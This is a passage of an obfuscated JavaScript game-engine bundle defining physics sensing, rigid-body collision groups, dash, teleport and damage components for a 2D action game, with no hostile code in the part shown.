void 0x0, _0x39b6f7['groundFilterPredicate']) ? _0x4feb59 * _0x3f5e84['PhysicsConfig']['TILE_SIZE'] : -0x1; }, _0x39b6f7['isGrounded'] = function (_0x23337f, _0x13e6f5) { return [..._0x23337f[_0xb70576['ESensorName']['GROUND_BOTTOM']] ?? [], ..._0x23337f[_0xb70576['ESensorName']['GROUND_LEFT']] ?? [], ..._0x23337f[_0xb70576['ESensorName']['GROUND_RIGHT']] ?? []]['filter'](_0x434043 => _0x434043 && _0x434043['parent']())['filter'](_0xf54657 => { const _0x2b58bf = _0xf54657['parent']()?.['userData']['actor']; return _0x13e6f5['some'](_0x2c7792 => _0x2b58bf['getTags']()['includes'](_0x2c7792)); })['length'] > 0x0; }, _0x39b6f7['isSensingGround'] = function (_0x252d23, _0x216f7e) { return _0x216f7e['map'](_0x4e6a69 => _0x252d23[_0x4e6a69] ?? [])['flat']()['filter'](_0xaabfab => _0xaabfab && _0xaabfab['parent']())['filter'](_0x3a676f => _0x3a676f['parent']()?.['userData']['actor']['getTags']()['includes'](_0x46e2fb['EActorTag']['GROUND']))['length'] > 0x0; }; }, 0x13e1: (_0x5a7ba5, _0x1d5f06, _0x489155) => { 'use strict'; Object['defineProperty'](_0x1d5f06, '__esModule', { 'value': !0x0 }), _0x1d5f06['movementModel'] = _0x1d5f06['VERTICAL_IMPULSE_SCALE'] = _0x1d5f06['NON_GROUNDED_IMPULSE_SCALE'] = void 0x0; const _0x22f54c = _0x489155(0x18e5); _0x1d5f06['NON_GROUNDED_IMPULSE_SCALE'] = 0.6, _0x1d5f06['VERTICAL_IMPULSE_SCALE'] = 0.3, _0x1d5f06['movementModel'] = { 'transparentForDash': !0x1, 'timeToResetDash': -0x1, 'currentPerceivedSpeed': new _0x22f54c['Vector'](0x0, 0x0), 'lastPosition': new _0x22f54c['Vector'](0x0, 0x0), 'lastPositionTime': 0x0 }; }, 0x942: function (_0x344cf4, _0x1263e1, _0x435218) { 'use strict'; var _0x3f5e3c = this && this['__createBinding'] || (Object['create'] ? function (_0x1ed9fa, _0x6efbdc, _0x2de12a, _0x48792e) { void 0x0 === _0x48792e && (_0x48792e = _0x2de12a); var _0x45779a = Object['getOwnPropertyDescriptor'](_0x6efbdc, _0x2de12a); _0x45779a && !('get' in _0x45779a ? !_0x6efbdc['__esModule'] : _0x45779a['writable'] || _0x45779a['configurable']) || (_0x45779a = { 'enumerable': !0x0, 'get': function () { return _0x6efbdc[_0x2de12a]; } }), Object['defineProperty'](_0x1ed9fa, _0x48792e, _0x45779a); } : function (_0x5823c6, _0x46f623, _0x2bc4d3, _0x5c0f57) { void 0x0 === _0x5c0f57 && (_0x5c0f57 = _0x2bc4d3), _0x5823c6[_0x5c0f57] = _0x46f623[_0x2bc4d3]; }), _0x576766 = this && this['__setModuleDefault'] || (Object['create'] ? function (_0xb1e4c8, _0xfd3be1) { Object['defineProperty'](_0xb1e4c8, 'default', { 'enumerable': !0x0, 'value': _0xfd3be1 }); } : function (_0x1f03c0, _0x71b12f) { _0x1f03c0['default'] = _0x71b12f; }), _0x6709aa = this && this['__importStar'] || function (_0x58d650) { if (_0x58d650 && _0x58d650['__esModule']) return _0x58d650; var _0x58b2eb = {}; if (null != _0x58d650) { for (var _0x24c47e in _0x58d650) 'default' !== _0x24c47e && Object['prototype']['hasOwnProperty']['call'](_0x58d650, _0x24c47e) && _0x3f5e3c(_0x58b2eb, _0x58d650, _0x24c47e); } return _0x576766(_0x58b2eb, _0x58d650), _0x58b2eb; }, _0x37f366 = this && this['__importDefault'] || function (_0x332272) { return _0x332272 && _0x332272['__esModule'] ? _0x332272 : { 'default': _0x332272 }; }; Object['defineProperty'](_0x1263e1, '__esModule', { 'value': !0x0 }), _0x1263e1['RigidBodyComponent'] = void 0x0; const _0x22ee7b = _0x6709aa(_0x435218(0x9a8)), _0x402c82 = _0x435218(0x2414), _0x21f57b = _0x435218(0x2347), _0x3db83b = _0x37f366(_0x435218(0x1b39)); class _0x462125 extends _0x402c82['ActorComponent']{ ['world'];['body'];['colliders'] = {};['sensorColliders'] = {}; constructor(_0x551938) { super(_0x551938), this['world'] = _0x551938['world'], this['config']['isPhysicsComponent'] = !0x0, this['body'] = this['world']['createRigidBody'](_0x551938['bodyDesc']), this['body']['setTranslation'](_0x551938['position'] || { 'x': NaN, 'y': NaN }, !0x0), this['body']['setRotation'](_0x3db83b['default']['degToRad'](_0x551938['rotation'] || 0x0), !0x0), _0x551938['angularDamping'] && this['body']['setAngularDamping'](_0x551938['angularDamping']), _0x551938['linearDamping'] && this['body']['setLinearDamping'](_0x551938['linearDamping']), this['sensorColliders'] = this['createSensorColliders'](_0x551938, this['body']), this['colliders'] = this['createBodyColliders'](_0x551938, this['body']); } ['init']() { this['body']['userData'] = { 'actor': this['actor'], 'customInfo': {} }, this['setActorPosition'](), this['store']['update']('initialBodyVelocity', this['body']['linvel']()); } ['updatePosition']() { this['setActorPosition'](); const _0x32b3cc = this['body']['translation'](); this['updateCurrentPerceivedSpeed'](), this['store']['update']('lastPosition', _0x32b3cc), this['store']['update']('lastPositionTime', this['gameContext']['timeProvider']['currentEngineTime']); } ['setPosition'](_0x1cd732) { this['body']['setTranslation'](_0x1cd732, !0x0), this['updatePosition'](); } ['get']() { return this['body']; } ['destroy']() { this['world']['removeRigidBody'](this['body']); } ['addBodyCollisionGroup'](_0x183714) { Object['values'](this['colliders'])['forEach'](_0xf0966f => { const _0x66a229 = _0xf0966f['collisionGroups']() | _0x183714; _0xf0966f['setCollisionGroups'](_0x66a229); }); } ['addSensorsCollisionGroup'](_0x67a230) { Object['values'](this['sensorColliders'])['forEach'](_0x38380e => { const _0x4624b2 = _0x38380e['collisionGroups']() | _0x67a230; _0x38380e['setCollisionGroups'](_0x4624b2); }); } ['removeBodyCollisionGroup'](_0x333082) { Object['values'](this['colliders'])['forEach'](_0x28c99c => { const _0x1bddbb = _0x28c99c['collisionGroups']() & ~_0x333082; _0x28c99c['setCollisionGroups'](_0x1bddbb); }); } ['removeSensorsCollisionGroup'](_0x66fe2d) { Object['values'](this['sensorColliders'])['forEach'](_0x532330 => { const _0x31ca30 = _0x532330['collisionGroups']() & ~_0x66fe2d; _0x532330['setCollisionGroups'](_0x31ca30); }); } ['hasBodyCollisionGroup'](_0x3408ce) { return Object['values'](this['colliders'])['some'](_0x599060 => (_0x599060['collisionGroups']() & _0x3408ce) === _0x3408ce); } ['hasSensorsCollisionGroup'](_0x272d4f) { return Object['values'](this['sensorColliders'])['some'](_0x124b2b => (_0x124b2b['collisionGroups']() & _0x272d4f) === _0x272d4f); } ['replaceBodyCollisionGroup'](_0x5c92cc) { Object['values'](this['colliders'])['forEach'](_0x37a7c7 => { _0x37a7c7['setCollisionGroups'](_0x5c92cc); }); } ['replaceSensorsCollisionGroup'](_0x212e4b) { Object['values'](this['sensorColliders'])['forEach'](_0x449f39 => { _0x449f39['setCollisionGroups'](_0x212e4b); }); } ['setActorPosition']() { if (!this['body']) return; const _0x5905e6 = this['body']['translation'](); this['store']['update']('renderPosition', (0x0, _0x21f57b['physicsVector2RenderVector'])(_0x5905e6)), this['store']['update']('physicsPosition', _0x5905e6), this['config']['useRotation'] && this['store']['update']('renderRotation', this['body']['rotation']()); } ['createSensorColliders'](_0x2676c9, _0xc607cb) { const _0x129934 = {}; return _0x2676c9['sensorsDesc'] && Object['entries'](_0x2676c9['sensorsDesc'])['forEach'](_0x1df512 => { _0x129934[_0x1df512[0x0]] = _0x2676c9['world']['createCollider'](_0x1df512[0x1], _0xc607cb), _0x129934[_0x1df512[0x0]]['setSensor'](!0x0), _0x129934[_0x1df512[0x0]]['setMass'](0x0), _0x2676c9['sensorsEmitCollisionEvents'] && (_0x129934[_0x1df512[0x0]]['setActiveEvents'](_0x22ee7b['default']['ActiveEvents']['COLLISION_EVENTS']), _0x129934[_0x1df512[0x0]]['setActiveCollisionTypes'](_0x22ee7b['default']['ActiveCollisionTypes']['ALL'])); }), _0x129934; } ['createBodyColliders'](_0x151db0, _0xa222c6) { const _0x33b07e = {}, _0x2a22a2 = [_0x22ee7b['RigidBodyType']['KinematicPositionBased'], _0x22ee7b['RigidBodyType']['KinematicVelocityBased']]['includes'](this['body']['bodyType']()); return Object['entries'](_0x151db0['collidersDesc'])['forEach'](_0x2e3e27 => { _0x33b07e[_0x2e3e27[0x0]] = _0x151db0['world']['createCollider'](_0x2e3e27[0x1], _0xa222c6), _0x2a22a2 && _0x33b07e[_0x2e3e27[0x0]]['setActiveCollisionTypes'](_0x22ee7b['default']['ActiveCollisionTypes']['ALL']), _0x151db0['collidersEmitCollisionEvents'] && _0x33b07e[_0x2e3e27[0x0]]['setActiveEvents'](_0x22ee7b['default']['ActiveEvents']['COLLISION_EVENTS']); }), _0x33b07e; } ['updateCurrentPerceivedSpeed']() { const _0x4cf850 = this['body']['translation'](), _0x41f01a = this['store']['get']('lastPosition'), _0x4a3e2b = this['store']['get']('lastPositionTime'); _0x4a3e2b && _0x41f01a && this['store']['update']('currentPerceivedSpeed', { 'x': (_0x4cf850['x'] - _0x41f01a['x']) / (this['gameContext']['timeProvider']['currentEngineTime'] - _0x4a3e2b) * 0x3e8, 'y': (_0x4cf850['y'] - _0x41f01a['y']) / (this['gameContext']['timeProvider']['currentEngineTime'] - _0x4a3e2b) * 0x3e8 }); } } _0x1263e1['RigidBodyComponent'] = _0x462125; }, 0x26d1: (_0x414c46, _0x3d7674, _0x50caa1) => { 'use strict'; Object['defineProperty'](_0x3d7674, '__esModule', { 'value': !0x0 }), _0x3d7674['RigidBodyDashCollisionResponseController'] = void 0x0; const _0x631d41 = _0x50caa1(0x1520), _0x5edb96 = _0x50caa1(0xb35), _0x2ddda2 = _0x50caa1(0x1832); class _0x443913 extends _0x631d41['ComponentController']{ ['init']() { this['store']['update']('transparentForDash', !0x0), this['disableCollisionsWithPlayer'](); } ['update'](_0x1a96c2) { const _0x18a3f4 = this['gameContext']['queryActors']([_0x2ddda2['EActorTag']['PLAYER']]), _0x3b0765 = this['getDashingPlayers'](_0x18a3f4), _0x22fbe8 = this['store']['get']('transparentForDash'); (!_0x22fbe8 && _0x3b0765['length'] > 0x0 && (this['store']['update']('transparentForDash', !0x0), this['disableCollisionsWithPlayer']()), _0x22fbe8) && ((0x0 !== this['getIntersectingPlayers'](_0x18a3f4)['length'] || _0x3b0765['length'] > 0x0) && this['store']['update']('timeToResetDash', 0x19)); const _0x3cec82 = this['store']['get']('timeToResetDash'); _0x22fbe8 && _0x3cec82 >= 0x0 && (this['store']['update']('timeToResetDash', _0x3cec82 - 0x3e8 * _0x1a96c2), this['pushPlayerOutOfEnemy'](_0x18a3f4), this['store']['get']('timeToResetDash') <= 0x0 && (this['store']['update']('transparentForDash', !0x1), this['enableCollisionsWithPlayer']())); } ['pushPlayerOutOfEnemy'](_0x19afe6) { if (0x0 === _0x19afe6['length']) return; const _0x185a40 = this['store']['get']('sensorCollisionState')['dashDetectionSensor']?.['filter'](_0x51c069 => _0x51c069); if (!_0x185a40) return; const _0x3db4e6 = 0x3 * (this['store']['get']('lookDirection') < 0x0 ? -0x1 : 0x1); _0x185a40['filter'](Boolean)['map'](_0x3d54ce => _0x3d54ce['parent']())['forEach'](_0xa2373b => { _0xa2373b?.['applyImpulse']({ 'x': _0x3db4e6, 'y': 0x0 }, !0x0); }); } ['getIntersectingPlayers'](_0x433f52) { if (0x0 === _0x433f52['length']) return []; const _0x3c9421 = this['store']['get']('sensorCollisionState')['dashDetectionSensor']?.['filter'](_0x46fe04 => _0x46fe04); if (!_0x3c9421) return []; const _0x9250b = _0x3c9421['map'](_0x451878 => _0x451878['parent']()['userData']['actor'])['filter'](_0x1c54c6 => _0x433f52['includes'](_0x1c54c6)); return Array['from'](new Set(_0x9250b)); } ['getDashingPlayers'](_0x4e9fbc) { return 0x0 === _0x4e9fbc['length'] ? [] : _0x4e9fbc['filter'](_0x567c0a => { const _0x52d209 = _0x567c0a['getFromStore']('horizontalState'); return !(!_0x52d209 || !_0x52d209['includes']('DASH')); }); } ['disableCollisionsWithPlayer']() { this['component']['removeBodyCollisionGroup'](_0x5edb96['PhysicsConfig']['COLLISION_GROUPS']['PLAYER']); } ['enableCollisionsWithPlayer']() { this['component']['addBodyCollisionGroup'](_0x5edb96['PhysicsConfig']['COLLISION_GROUPS']['PLAYER']); } } _0x3d7674['RigidBodyDashCollisionResponseController'] = _0x443913; }, 0x2dd: (_0x536ed3, _0x2a9509, _0x12accd) => { 'use strict'; Object['defineProperty'](_0x2a9509, '__esModule', { 'value': !0x0 }), _0x2a9509['RigidBodySensorController'] = void 0x0; const _0x27b797 = _0x12accd(0x1520), _0x39bd5f = _0x12accd(0x17e); class _0x3b68c9 extends _0x27b797['ComponentController']{ ['elapsedTimeSinceTargetCalculationMS'] = 0x0; constructor(_0x1a2030) { super(_0x1a2030); } ['init']() { this['store']['update']('sensorCollisionState', this['createEmptyCollisionState']()); const _0x353899 = this['config']['calculateDistanceToGround'] ? this['calculateDistanceToGround']() : -0x1; this['store']['update']('distanceToGround', _0x353899); } ['update'](_0x43a0fc) { const _0x206da9 = this['createEmptyCollisionState'](); Object['entries'](this['component']['sensorColliders'])['forEach'](_0x3c5c7f => { this['component']['world']['intersectionsWith'](_0x3c5c7f[0x1], _0x27ad03 => { _0x206da9[_0x3c5c7f[0x0]] || (_0x206da9[_0x3c5c7f[0x0]] = []), _0x206da9[_0x3c5c7f[0x0]]['push'](_0x27ad03); }); }), this['store']['update']('sensorCollisionState', _0x206da9), this['calculateIsGrounded'](this['config']['groundTags']), this['elapsedTimeSinceTargetCalculationMS'] += _0x43a0fc, this['elapsedTimeSinceTargetCalculationMS'] < 0.333 || (this['elapsedTimeSinceTargetCalculationMS'] = 0x0, this['config']['calculateDistanceToGround'] && this['store']['update']('distanceToGround', this['calculateDistanceToGround']()), this['config']['calculateCanSeeTarget'] && this['store']['update']('distanceToTargetWithGroundCheck', this['calculateDistanceToTarget']())); } ['createEmptyCollisionState']() { return Object['keys'](this['component']['sensorColliders'])['reduce']((_0x59cbc0, _0x59ba7d) => (_0x59cbc0[_0x59ba7d] = void 0x0, _0x59cbc0), {}); } ['calculateDistanceToGround']() { const _0x37d75a = this['component']['get']()['translation'](); return (0x0, _0x39bd5f['calculateDistanceToGround'])(this['component']['world'], _0x37d75a); } ['calculateDistanceToTarget']() { const _0x5164b7 = this['store']['get']('targetActorHandles')[0x0]; if (!_0x5164b7) return -0x1; const _0x56bbf1 = _0x5164b7['getFromStore']('physicsPosition'); return _0x56bbf1 ? (0x0, _0x39bd5f['calculateDistanceToTarget'])(this['component']['world'], this['component']['get']()['translation'](), _0x56bbf1) : -0x1; } ['calculateIsGrounded'](_0xeabf6) { this['store']['update']('isGrounded', (0x0, _0x39bd5f['isGrounded'])(this['store']['get']('sensorCollisionState'), _0xeabf6)); } } _0x2a9509['RigidBodySensorController'] = _0x3b68c9; }, 0x409: (_0x4bbfc9, _0x419a57, _0x23383e) => { 'use strict'; Object['defineProperty'](_0x419a57, '__esModule', { 'value': !0x0 }), _0x419a57['RigidBodyTeleportController'] = void 0x0; const _0x1ab379 = _0x23383e(0x17e), _0x11f680 = _0x23383e(0x1520); class _0x57a394 extends _0x11f680['ComponentController']{ ['init']() { this['messageBus']['subscribe'](this, 'requestTeleport', _0x5bdd68 => this['onRequestTeleport'](_0x5bdd68)); } ['onRequestTeleport'](_0x4079b9) { const _0x1cc2cf = _0x4079b9['destination']; _0x4079b9['skipGroundCheck'] || this['isDestinationSafe'](_0x1cc2cf) ? (this['teleport'](_0x1cc2cf), this['messageBus']['publish']('teleportSuccess', _0x4079b9)) : this['messageBus']['publish']('teleportFail', _0x4079b9); } ['isDestinationSafe'](_0x3278bf) { const _0x54b30c = Object['values'](this['component']['colliders'])[0x0]; if (!_0x54b30c) return !0x0; const _0x510f36 = _0x54b30c['shape']; let _0x264d62 = !0x1; return this['component']['world']['intersectionsWithShape'](_0x3278bf, 0x0, _0x510f36, _0xeafca9 => !(_0xeafca9['handle'] !== _0x54b30c['handle'] && !_0xeafca9['isSensor']()) || (_0x264d62 = !0x0, !0x1), void 0x0, void 0x0, void 0x0, void 0x0, _0x1ab379['groundFilterPredicate']), !_0x264d62; } ['teleport'](_0x3d87ca) { this['component']['get']()['setTranslation'](_0x3d87ca, !0x0); } } _0x419a57['RigidBodyTeleportController'] = _0x57a394; }, 0x1932: (_0x2bab40, _0x410021, _0x552bd2) => { 'use strict'; Object['defineProperty'](_0x410021, '__esModule', { 'value': !0x0 }), _0x410021['sensorModel'] = _0x410021['ESensorName'] = void 0x0; const _0x4da7ec = _0x552bd2(0x18e5); !function (_0x33d8f6) { _0x33d8f6[_0x33d8f6['CENTER'] = 0x0] = 'CENTER', _0x33d8f6[_0x33d8f6['LEFT'] = 0x1] = 'LEFT', _0x33d8f6[_0x33d8f6['RIGHT'] = 0x2] = 'RIGHT', _0x33d8f6[_0x33d8f6['GROUND_BOTTOM'] = 0x3] = 'GROUND_BOTTOM', _0x33d8f6[_0x33d8f6['GROUND_TOP'] = 0x4] = 'GROUND_TOP', _0x33d8f6[_0x33d8f6['GROUND_LEFT'] = 0x5] = 'GROUND_LEFT', _0x33d8f6[_0x33d8f6['GROUND_RIGHT'] = 0x6] = 'GROUND_RIGHT', _0x33d8f6[_0x33d8f6['GROUND_BOTTOM_LEFT'] = 0x7] = 'GROUND_BOTTOM_LEFT', _0x33d8f6[_0x33d8f6['GROUND_BOTTOM_RIGHT'] = 0x8] = 'GROUND_BOTTOM_RIGHT', _0x33d8f6[_0x33d8f6['STUCK_DETECTOR'] = 0x9] = 'STUCK_DETECTOR'; }(_0x410021['ESensorName'] || (_0x410021['ESensorName'] = {})), _0x410021['sensorModel'] = { 'sensorCollisionState': {}, 'distanceToGround': NaN, 'isGrounded': !0x1, 'distanceToTargetWithGroundCheck': NaN, 'targetActorHandles': [], 'initialBodyVelocity': new _0x4da7ec['Vector'](NaN, NaN) }; }, 0x1520: (_0x233a1c, _0x30855c, _0x68ea99) => { 'use strict'; Object['defineProperty'](_0x30855c, '__esModule', { 'value': !0x0 }), _0x30855c['ComponentController'] = void 0x0; const _0x3b5e92 = _0x68ea99(0x5d3); _0x30855c['ComponentController'] = class { ['config'];['gameContext'];['messageBus'];['gameMessageBus'];['sceneMessageBus'];['store'];['actor'];['scene'];['component']; constructor(_0x38b32c) { this['config'] = _0x38b32c || {}; } ['coreInit'](_0x288bb6) { this['config']['disabledOnBackend'] && (0x0, _0x3b5e92['runningAsBackend'])() || (this['messageBus'] = _0x288bb6['messageBus'], this['gameMessageBus'] = _0x288bb6['gameMessageBus'], this['sceneMessageBus'] = _0x288bb6['sceneMessageBus'], this['store'] = _0x288bb6['store'], this['scene'] = _0x288bb6['scene'], this['actor'] = _0x288bb6['actor'], this['component'] = _0x288bb6['component'], this['gameContext'] = _0x288bb6['gameContext'], this['config'] = { ...this['config'], ..._0x288bb6 }, this['init'](_0x288bb6)); } ['corePostInit'](_0x3df334) { this['config']['disabledOnBackend'] && (0x0, _0x3b5e92['runningAsBackend'])() || this['postInit'](_0x3df334); } ['coreDestroy']() { this['destroy'](), this['gameMessageBus']?.['unsubscribeByOwner'](this), this['sceneMessageBus']?.['unsubscribeByOwner'](this), this['messageBus']?.['unsubscribeByOwner'](this), this['scene'] = void 0x0, this['actor'] = void 0x0, this['component'] = void 0x0; } ['coreUpdate'](_0x5ec00f) { this['config']['disabledOnBackend'] && (0x0, _0x3b5e92['runningAsBackend'])() || this['update'](_0x5ec00f); } ['coreUpdatePosition']() { this['config']['disabledOnBackend'] && (0x0, _0x3b5e92['runningAsBackend'])() || this['updatePosition'](); } ['init'](_0x388980) { } ['postInit'](_0x3ca526) { } ['update'](_0xba52e3) { } ['updatePosition']() { } ['destroy']() { } }; }, 0xa0: (_0x5b73dc, _0x2d0125, _0x3ef1bc) => { 'use strict'; Object['defineProperty'](_0x2d0125, '__esModule', { 'value': !0x0 }), _0x2d0125['DamageComponent'] = void 0x0; const _0x2339c9 = _0x3ef1bc(0x2414); class _0x590883 extends _0x2339c9['ActorComponent']{ constructor(_0x3607f8) { super(_0x3607f8); } ['init']() { this['store']['subscribe']('hp', () => this['handleDamage']()), this['messageBus']['subscribe'](this, 'damage', _0x21255d => this['updateStoreDamage'](_0x21255d)), this['messageBus']['subscribe'](this, 'stun', _0x12b7a3 => this['updateStoreStun'](_0x12b7a3)), this['messageBus']['subscribe'](this, 'affectedActor', _0x5f3db6 => { this['gameContext']['timeProvider']['delayAction'](() => { const _0x22dfdd = this['store']['get']('affectingActors'); _0x22dfdd['push']({ 'actor': _0x5f3db6['affectingActor'], 'timeLeftMS': _0x5f3db6['affectedTimeMS'] }), this['store']['update']('affectingActors', _0x22dfdd); }); }), this['store']['update']('hp', this['config']['hp']), this['store']['update']('maxHp', this['config']['maxHp']), this['config']['spawnInvulnerabilityTimeMS'] && this['store']['update']('spawnInvulnerabilityTimeLeftMS', this['config']['spawnInvulnerabilityTimeMS']); } ['update'](_0x42ef0b) { 0x0 !== this['store']['get']('stunTimeMS') && this['store']['update']('stunTimeMS', Math['max'](0x0, this['store']['get']('stunTimeMS') - 0x3e8 * _0x42ef0b)), 0x0 !== this['store']['get']('invulnerabilityTimeLeftMS') && this['store']['update']('invulnerabilityTimeLeftMS', Math['max'](0x0, this['store']['get']('invulnerabilityTimeLeftMS') - 0x3e8 * _0x42ef0b)), 0x0 !== this['store']['get']('spawnInvulnerabilityTimeLeftMS') && this['store']['update']('spawnInvulnerabilityTimeLeftMS', Math['max'](0x0, this['store']['get']('spawnInvulnerabilityTimeLeftMS') - 0x3e8 * _0x42ef0b)), this['store']['get']('affectingActors')['forEach'](_0x470cda => { _0x470cda['timeLeftMS'] -= 0x3e8 * _0x42ef0b, _0x470cda['timeLeftMS'] <= 0x0 && this['store']['update']('affectingActors', this['store']['get']('affectingActors')['filter'](_0x473ca6 => _0x473ca6 !== _0x470cda)); }); } ['updateStoreDamage'](_0x2c1434) { if (this['store']['get']('invulnerabilityTimeLeftMS') > 0x0) return; if (this['store']['get']('spawnInvulnerabilityTimeLeftMS') > 0x0) return; if (this['store']['get']('hp') <= 0x0) return; const _0x2c33b9 = _0x2c1434['damage'] ?? 0x0; if (0x0 === _0x2c33b9) return; const _0x3fff9a = _0x2c1434['damagingActor']; if (this['store']['get']('affectingActors')['map'](_0x4ade33 => _0x4ade33['actor'])['includes'](_0x3fff9a)) return; const _0x56dba3 = _0x2c33b9 * _0x2c1434['damageMultiplier']; this['store']['update']('lastDamagingActorOwner', _0x2c1434['damageOwnerActor']), this['store']['update']('lastDamagingActor', _0x2c1434['damagingActor']), this['store']['update']('hp', this['store']['get']('hp') - _0x56dba3), this['store']['update']('invulnerabilityTimeLeftMS', _0x2c1434['invulnerabilityAfterHitMS'] ?? 0x0), _0x2c1434['affectedTimeMS'] && this['messageBus']['publish']('affectedActor', { 'affectingActor': _0x3fff9a, 'affectedTimeMS': _0x2c1434['affectedTimeMS'] }); } ['updateStoreStun'](_0x3e2694) { if (this['store']['get']('spawnInvulnerabilityTimeLeftMS') > 0x0) return; if (this['store']['get']('hp') <= 0x0) return; const _0x4c03ed = _0x3e2694['stunningActor']; if (this['store']['get']('affectingActors')['map'](_0x3fc444 => _0x3fc444['actor'])['includes'](_0x4c03ed)) return; const _0x3249a0 = (_0x3e2694['stunDurationMS'] ?? 0x0) * _0x3e2694['damageMultiplier'] - (this['config']['stunResistance'] ?? 0x0); _0x3249a0 <= 0x0 || (this['store']['update']('stunTimeMS', Math['max'](0x0, this['store']['get']('stunTimeMS'), _0x3249a0)), this['messageBus']['publish']('affectedActor', { 'affectingActor': _0x4c03ed, 'affectedTimeMS': _0x3e2694['affectedTimeMS'] })); } ['handleDamage']() { if (this['store']['get']('destroyed')) return; this['store']['get']('hp') <= 0x0 && (this['config']['removeActorOnDestruction'] && this['actor']['destroy'](), this['store']['update']('destroyed', !0x0)); } } _0x2d0125['DamageComponent'] = _0x590883; }, 0x98f: (_0x1938fc, _0x278a2f, _0x3a1384) => { 'use strict'; Object['defineProperty'](_0x278a2f, '__esModule', { 'value': !0x0 }), _0x278a2f['DamageFlashController'] = void 0x0; const _0x326bc0 = _0x3a1384(0x1520); class _0x4838a3 extends _0x326bc0['ComponentController']{ ['init']() { this['store']['subscribe']('hp', _0x2da9a1 => { _0x2da9a1['newValue'] < _0x2da9a1['oldValue'] && this['component']['flash'](0xc8, 0xff4444); }); } } _0x278a2f['DamageFlashController'] = _0x4838a3; }, 0x229c: (_0x4465cb, _0x5433f3) => { 'use strict'; Object['defineProperty'](_0x5433f3, '__esModule', { 'value': !0x0 }), _0x5433f3['damageModel'] = void 0x0, _0x5433f3['damageModel'] = { 'hp': NaN, 'maxHp': NaN, 'stunTimeMS': 0x0, 'spawnInvulnerabilityTimeLeftMS': 0x0, 'invulnerabilityTimeLeftMS': 0x0, 'destroyed': !0x1, 'lastDamagingActor': null, 'lastDamagingActorOwner': null, 'affectingActors': [] }; }, 0x41: (_0x3ee92c, _0x34e6ac, _0xa5e124) => { 'use strict'; Object['defineProperty'](_0x34e6ac, '__esModule', { 'value': !0x0 }), _0x34e6ac['DamageSideEffectController'] = void 0x0; const _0x2e678d = _0xa5e124(0x1520), _0x3e7dae = _0xa5e124(0x2f5), _0x1fb2e4 = _0xa5e124(0xb35), _0x342dd0 = _0xa5e124(0x221b), _0x4fe286 = _0xa5e124(0x18e5); class _0x307097 extends _0x2e678d['ComponentController']{ constructor(_0x35ab9a) { super(_0x35ab9a); } ['init']() { this['store']['subscribe']('hp', ({ oldValue: _0x540c48, newValue: _0x154497 }) => this['handleDamage'](_0x540c48, _0x154497)), this['messageBus']['subscribe'](this, 'requestChunks', _0x3ae607 => this['createChunks'](_0x3ae607['chunkConfigs'], _0x3ae607['position'])); } ['handleDamage'](_0x326de0, _0x45c042) { if (this['store']['get']('destroyed')) return; const _0x3b6373 = this['store']['get']('hp') <= 0x0, _0x59aa51 = _0x326de0 - _0x45c042, _0x288631 = this['store']['get']('renderPosition'), _0x24f184 = this['store']['get']('physicsPosition'); _0x3b6373 ? (this['config']['explosionOnDestroy'] && this['requestExplosion'](this['config']['explosionOnDestroy']), this['config']['chunksOnDestroy'] && this['createChunks'](this['config']['chunksOnDestroy'], _0x24f184), this['config']['flashOnDestroy'] && this['gameMessageBus']['publish']('requestFlash', { 'config': this['config']['flashOnDestroy'], 'position': _0x288631 }), this['config']['screenShakeOnDestroy'] && this['gameMessageBus']['publish']('requestScreenShake', { 'config': this['config']['screenShakeOnDestroy'], 'position': _0x288631 }), this['config']['particlesOnDestroy'] && this['gameMessageBus']['publish']('requestParticles', { ...this['config']['particlesOnDestroy'], ...this['store']['get']('renderPosition') }), this['config']['dropOnDestroy'] && this['createDrops'](this['config']['dropOnDestroy']), this['config']['childrenOnDestroy'] && this['createChildren'](this['config']['childrenOnDestroy'])) : _0x59aa51 > 0.2 && (this['config']['explosionOnHit'] && this['requestExplosion'](this['config']['explosionOnHit']), this['config']['chunksOnHit'] && this['createChunks'](this['config']['chunksOnHit'], _0x24f184), this['config']['flashOnHit'] && this['gameMessageBus']['publish']('requestFlash', { 'config': this['config']['flashOnHit'], 'position': _0x288631 }), this['config']['screenShakeOnHit'] && this['gameMessageBus']['publish']('requestScreenShake', { 'config': this['config']['screenShakeOnHit'], 'position': _0x288631 }), this['config']['particlesOnHit'] && this['gameMessageBus']['publish']('requestParticles', { ...this['config']['particlesOnHit'], ...this['store']['get']('renderPosition') }), this['config']['dropOnHit'] && this['createDrops'](this['config']['dropOnHit'])); } ['requestExplosion'](_0x53d5f8) { const _0x9bce70 = this['store']['get']('renderPosition'); this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': _0x53d5f8, 'position': new _0x4fe286['Vector'](_0x9bce70['x'], _0x9bce70['y']), 'rotation': this['gameContext']['rngProvider']['getRandomFloat'](_0x342dd0['EProviderContext']['MAIN'], 0x0, 0x2 * Math['PI']) }); } ['createChunks'](_0xf58bdb, _0x10b774) { _0x10b774['y'] -= 0x1, _0xf58bdb['forEach'](_0x51f367 => { const _0x43b6b3 = this['gameContext']['rngProvider']['getRandomFloat'](_0x342dd0['EProviderContext']['MAIN'], _0x51f367['minAmount'], _0x51f367['maxAmount']); for (let _0x509b37 = 0x0; _0x509b37 < _0x43b6b3; _0x509b37++) { const _0xe89734 = _0x3e7dae['GAMEPLAY_ACTOR_MAP']['chunk']({ 'animationName': [_0x51f367['chunkAnimation'], _0x51f367['chunkAnimation'] + '_fade', _0x51f367['chunkAnimation'] + '_fade2'], 'scene': this['scene'], 'sceneMessageBus': this['sceneMessageBus'], 'gameMessageBus': this['gameMessageBus'], 'world': this['config']['world'], 'gameContext': this['gameContext'], 'initialPosition': _0x10b774, 'noFadeout': _0x51f367['noFadeout'] }); this['actor']['registerActor'](_0xe89734); } }); } ['createSingleDrop'](_0x2ab38f) { const _0x590fae = _0x3e7dae['GAMEPLAY_ACTOR_MAP']['pickup'], _0x1432c8 = this['store']['get']('renderPosition'), _0xabe64c = this['gameContext']['getPickupConfig'](_0x2ab38f['dropItem']), _0x414b32 = _0x590fae({ 'scene': this['scene'], 'sceneMessageBus': this['sceneMessageBus'], 'gameMessageBus': this['gameMessageBus'], 'world': this['config']['world'], 'gameContext': this['gameContext'], 'pickupConfig': _0xabe64c, 'initialPosition': new _0x4fe286['Vector'](_0x1432c8['x'] / _0x1fb2e4['PhysicsConfig']['TILE_SIZE'], _0x1432c8['y'] / _0x1fb2e4['PhysicsConfig']['TILE_SIZE'] - 0x1), 'initialVelocity': this['createVelocityVector'](_0xabe64c['initialVelocity']) }); this['actor']['registerActor'](_0x414b32); } ['createDrops'](_0x5e075f) { _0x5e075f['forEach'](_0x2d5327 